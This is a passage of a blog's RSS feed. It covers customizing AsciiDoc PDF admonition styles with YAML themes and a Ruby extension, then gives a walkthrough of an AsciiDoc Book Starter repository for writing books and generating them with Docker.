&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;column-rule-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$theme-colors-tip-background&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;column-rule-width&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;background-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#FFFFFF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;border-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#E6E8FA&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;border-radius&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;border-style&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;dashed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;font-kerning&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;none&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;font-style&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;normal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;padding&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;0.3cm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;icon&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# icon name specified as:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# &amp;#x3C;icon set&gt;-&amp;#x3C;icon name&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# all prawn icon sets are supported, see: https://github.com/jessedoyle/prawn-icon/tree/master&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# for Font Awesome 5, use the fas- prefix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;note&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# we are disabling fonts, hence it is 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# otherwise, use $base-font-size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$theme-admonition-note-icon-name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;stroke-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$base-font-color&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;tip&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# we are disabling fonts, hence it is 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# otherwise, use $base-font-size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$theme-admonition-tip-icon-name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;stroke-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$base-font-color&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;warning&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# we are disabling fonts, hence it is 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# otherwise, use $base-font-size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;fas-fire&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;stroke-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$base-font-color&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# or, instead of an icon you can provide an image:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# image: bulb.png&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A lot of custom styling can be applied which is great, however, if you want to add your own custom admonition styles this isn’t possible out of the box with the AsciiDoc PDF toolchain. To differentiate your AsciiDoc admonition style you’d have to declare a custom Ruby extension that will enable this.&lt;/p&gt;
&lt;h2 id=&quot;how-to-add-custom-admonition-styles-to-asciidoc&quot;&gt;How to add custom admonition styles to AsciiDoc&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;asciidcotor-pdf&lt;/code&gt; GitHub repository has an &lt;a href=&quot;https://github.com/asciidoctor/asciidoctor-pdf/tree/main/docs/modules/extend/examples&quot;&gt;examples directory&lt;/a&gt; with a lot of examples of how to customize the PDF output of your AsciiDoc documents using Ruby extensions.&lt;/p&gt;
&lt;p&gt;The repository also includes the Ruby code file &lt;a href=&quot;https://github.com/asciidoctor/asciidoctor-pdf/blob/bf13e8be20fa2c5038c8f86394f19beba99d2b9f/docs/modules/extend/examples/pdf-converter-admonition-theme-per-type.rb&quot;&gt;pdf-converter-admonition-theme-per-type.rb&lt;/a&gt; to allow you to theme admonitions per type, such as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;admonition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;text-align&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;left&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;column-rule-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#eeeeee&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;column-rule-width&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0.5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;admonition_tip&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;background-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#ede8fa&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;border-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#872de6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;text-align&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;left&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;border-radius&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;border-style&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;dashed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;font-kerning&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;none&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;padding&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;0.3cm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, to apply the custom theming as part of the PDF generation, you need to instruct the &lt;code&gt;asciidoctor-pdf&lt;/code&gt; command line tool to load the Ruby extension using the &lt;code&gt;-r&lt;/code&gt; command line argument which  references the local extension Ruby file once you downloaded it and made it available on disk:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$ asciidoctor-pdf \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    -r ./themes/pdf-converter-admonition-theme-per-type.rb \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    -a pdf-themesdir=./themes \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    -a pdf-theme=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;basic&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    -D ./output \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ./book/index.adoc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dan Allen, the co-creator of AsciiDoc, updated the official documentation for &lt;a href=&quot;https://docs.asciidoctor.org/pdf-converter/latest/extend/use-cases/&quot;&gt;extended converter use-cases&lt;/a&gt; to include a section on how to add custom admonition styles to AsciiDoc.&lt;/p&gt;
&lt;p&gt;This article is based on the &lt;a href=&quot;https://github.com/lirantal/asciidoc-book-starter&quot;&gt;AsciiDoc Book Starter&lt;/a&gt; template repository on GitHub for authoring books using AsciiDoc.&lt;/p&gt;</content:encoded></item><item><title>How to write your book with AsciiDoc</title><link>https://lirantal.com/blog/how-to-write-your-book-with-asciidoc/</link><guid>https://lirantal.com/blog/how-to-write-your-book-with-asciidoc/</guid><description>If you are looking for a way to write your book in a format that is easy to read and write, and that can be easily converted to other formats such as PDF, ePUB and HTML, then AsciiDoc is a great choice. Let me show you how to get started with AsciiDoc Book Starter GitHub repository and an automated setup.</description><pubDate>Wed, 05 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This article is based on the &lt;a href=&quot;https://github.com/lirantal/asciidoc-book-starter&quot;&gt;AsciiDoc Book Starter&lt;/a&gt; template repository on GitHub for authoring books using AsciiDoc.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;huge shout out to &lt;a href=&quot;https://twitter.com/mojavelinux&quot;&gt;Dan Allen&lt;/a&gt; who’s the co-lead of Asciidoctor project and open-source &lt;a href=&quot;https://github.com/asciidoctor/asciidoctor-pdf&quot;&gt;asciidoctor-pdf&lt;/a&gt; extension for generating PDFs from AsciiDoc. Dan’s work has been instrumental to the success of self-published authors such as myself, and I’m incredibly grateful for his work ❤️ Thank you Dan!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’ve briefly explored other formats such as Markdown, Latex, and Pandoc but I’ve found AsciiDoc to be the most flexible and powerful format for authoring books. It is easily readable and writable to a human, has a lax syntax and good set of defaults for authoring books, and it can be easily converted to other formats such as PDF, ePUB and HTML.&lt;/p&gt;
&lt;p&gt;AsciiDoc is also a very powerful format for authoring technical documentation, and is widely used in the media and content publishing industry, such as in O’Reilly’s books.&lt;/p&gt;
&lt;h2 id=&quot;basics-of-asciidoc-and-writing&quot;&gt;Basics of AsciiDoc and Writing&lt;/h2&gt;
&lt;p&gt;An important observation to get started when authoring a book with AsciiDoc is the notion of the language vs the implementations. AsciiDoc is a language that’s intended to be a lightweight semantic markup. To generate output from AsciiDoc we use text processor tools such as &lt;a href=&quot;https://asciidoctor.org/&quot;&gt;Asciidoctor&lt;/a&gt;, which is free and open source.&lt;/p&gt;
&lt;p&gt;Get up to date with the latest AsciiDoc syntax and features by reading the &lt;a href=&quot;https://asciidoctor.org/docs/asciidoc-writers-guide/&quot;&gt;AsciiDoc User Guide&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;features-of-my-asciidoc-book-starter&quot;&gt;Features of my AsciiDoc Book Starter&lt;/h2&gt;
&lt;p&gt;My &lt;a href=&quot;https://github.com/lirantal/asciidoc-book-starter&quot;&gt;AsciiDoc Book Starter&lt;/a&gt; GitHub repository features the following advantages to help you get started quickly with your book authoring journey.&lt;/p&gt;
&lt;h2 id=&quot;asciidoc-book-authoring&quot;&gt;AsciiDoc book authoring&lt;/h2&gt;
&lt;p&gt;Book authoring experience provides the following features with this repository:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Table of Contents (TOC) generation.&lt;/li&gt;
&lt;li&gt;Template prelude chapters: A &lt;code&gt;Preface&lt;/code&gt;, and a &lt;code&gt;Forward&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Template chapters with commonly used formatting in books.&lt;/li&gt;
&lt;li&gt;Chapters are structured into their own chapter directories so they can be co-located with their images and other assets, such as code snippets.&lt;/li&gt;
&lt;li&gt;A PDF output that uses a theme, and can be customized.&lt;/li&gt;
&lt;li&gt;A PDF output that uses custom fonts (Google’s open fonts family). Specifically, an &lt;a href=&quot;https://fonts.google.com/specimen/Open+Sans&quot;&gt;Open Sans&lt;/a&gt; font for the body text, and a &lt;a href=&quot;https://fonts.google.com/specimen/Source+Code+Pro?query=source+code+pro&quot;&gt;Source Code Pro&lt;/a&gt; font for source code snippets and inline code.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;asciidoc-book-generation&quot;&gt;AsciiDoc book generation&lt;/h3&gt;
&lt;p&gt;Batteries-included book generation features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No need for a local installation of Asciidoctor, as the book generation is done via Docker.&lt;/li&gt;
&lt;li&gt;No need for special CI setup, as the book generation is done via Docker.&lt;/li&gt;
&lt;li&gt;Docker-based scripts to generate the book in various formats, including PDF, HTML and ePUB.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;getting-started-with-asciidoc-book-starter&quot;&gt;Getting Started with AsciiDoc Book Starter&lt;/h2&gt;
&lt;p&gt;We start off by getting familiar with the repository structure and the various files that are part of it.&lt;/p&gt;
&lt;p&gt;The top-level directory structure looks like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;├── README.md&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;├── book&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;│   ├── chapter-01.adoc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;│   ├── preface.adoc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;│   ├── foreword.adoc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;│   ├── index.adoc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;│   ├── fonts/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;│   ├── images/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;│   └── themes/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;├── create-book-epub.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;├── create-book-pdf.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;└── interactive-asciidoctor-shell.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;book&lt;/code&gt; directory is where the book content is stored:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;index.adoc&lt;/code&gt; file is the main entry point for the book, and it’s where we include all the other chapters and prelude chapters.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;images/&lt;/code&gt; directory is where you can store images that are used in the book.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;chapter-01.adoc&lt;/code&gt; is an example chapter that you can use as a template for your own chapters.&lt;/li&gt;
&lt;li&gt;In the same directory, you’ll find the theme-able PDF &lt;code&gt;themes&lt;/code&gt; directory, and the &lt;code&gt;fonts&lt;/code&gt; directory which contains the fonts used in the book.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;generate-the-asciidoc-book&quot;&gt;Generate the AsciiDoc book&lt;/h2&gt;
&lt;p&gt;The following sections describe how to generate the book in various formats and without requiring you to have a local Ruby runtime environment or otherwise, since it is all done via Docker.&lt;/p&gt;
&lt;h3 id=&quot;building-the-asciidoc-book-locally&quot;&gt;Building the AsciiDoc book locally&lt;/h3&gt;
&lt;p&gt;To build the book locally, you’ll need to have Docker installed on your machine. Once you have Docker installed, you can run the following command to build the book in PDF format:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;./create-book-pdf.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then you can find the generated PDF file in the &lt;code&gt;book&lt;/code&gt; directory. If you’re on a macOS, you can open it with your default PDF reader as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;open book/index.pdf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;helpful-asciidoc-scripts&quot;&gt;Helpful AsciiDoc Scripts&lt;/h3&gt;
&lt;p&gt;The asciidoc book starter repository also provides a few helpful scripts to help you generate other book output formats and debug the asciidoctor tool:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;create-book-epub.sh&lt;/code&gt; - Generates the book in ePUB format.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;interactive-asciidoctor-shell.sh&lt;/code&gt; - Starts an interactive shell inside the Docker image with the &lt;code&gt;asciidoctor&lt;/code&gt; tool installed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;asciidoc-book-assets&quot;&gt;AsciiDoc Book Assets&lt;/h2&gt;
&lt;p&gt;Static assets for the book are stored in the &lt;code&gt;book&lt;/code&gt; directory, and include the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;images&lt;/code&gt; directory is where you can store images that are used in the book. Inside this directory is a &lt;code&gt;cover.jpeg&lt;/code&gt; image used for the book’s cover, and a &lt;code&gt;space.jpeg&lt;/code&gt; used as an example for an image in the book.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;fonts&lt;/code&gt; directory is where you can store fonts that are used in the book. It currently houses the &lt;a href=&quot;https://fonts.google.com/specimen/Open+Sans&quot;&gt;Open Sans&lt;/a&gt; and &lt;a href=&quot;https://fonts.google.com/specimen/Source+Code+Pro?query=source+code+pro&quot;&gt;Source Code Pro&lt;/a&gt; fonts, both with their original &lt;code&gt;.zip&lt;/code&gt; file archived as downloaded from the Google Fonts website as well as extracted each to its own directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;p&gt;In conclusion, I found AsciiDoc to be a bit overwhelming and a steep learning curve to begin with, but once you conquer that hill, I’m sure you’ll find AsciiDoc a great format for authoring books.&lt;/p&gt;
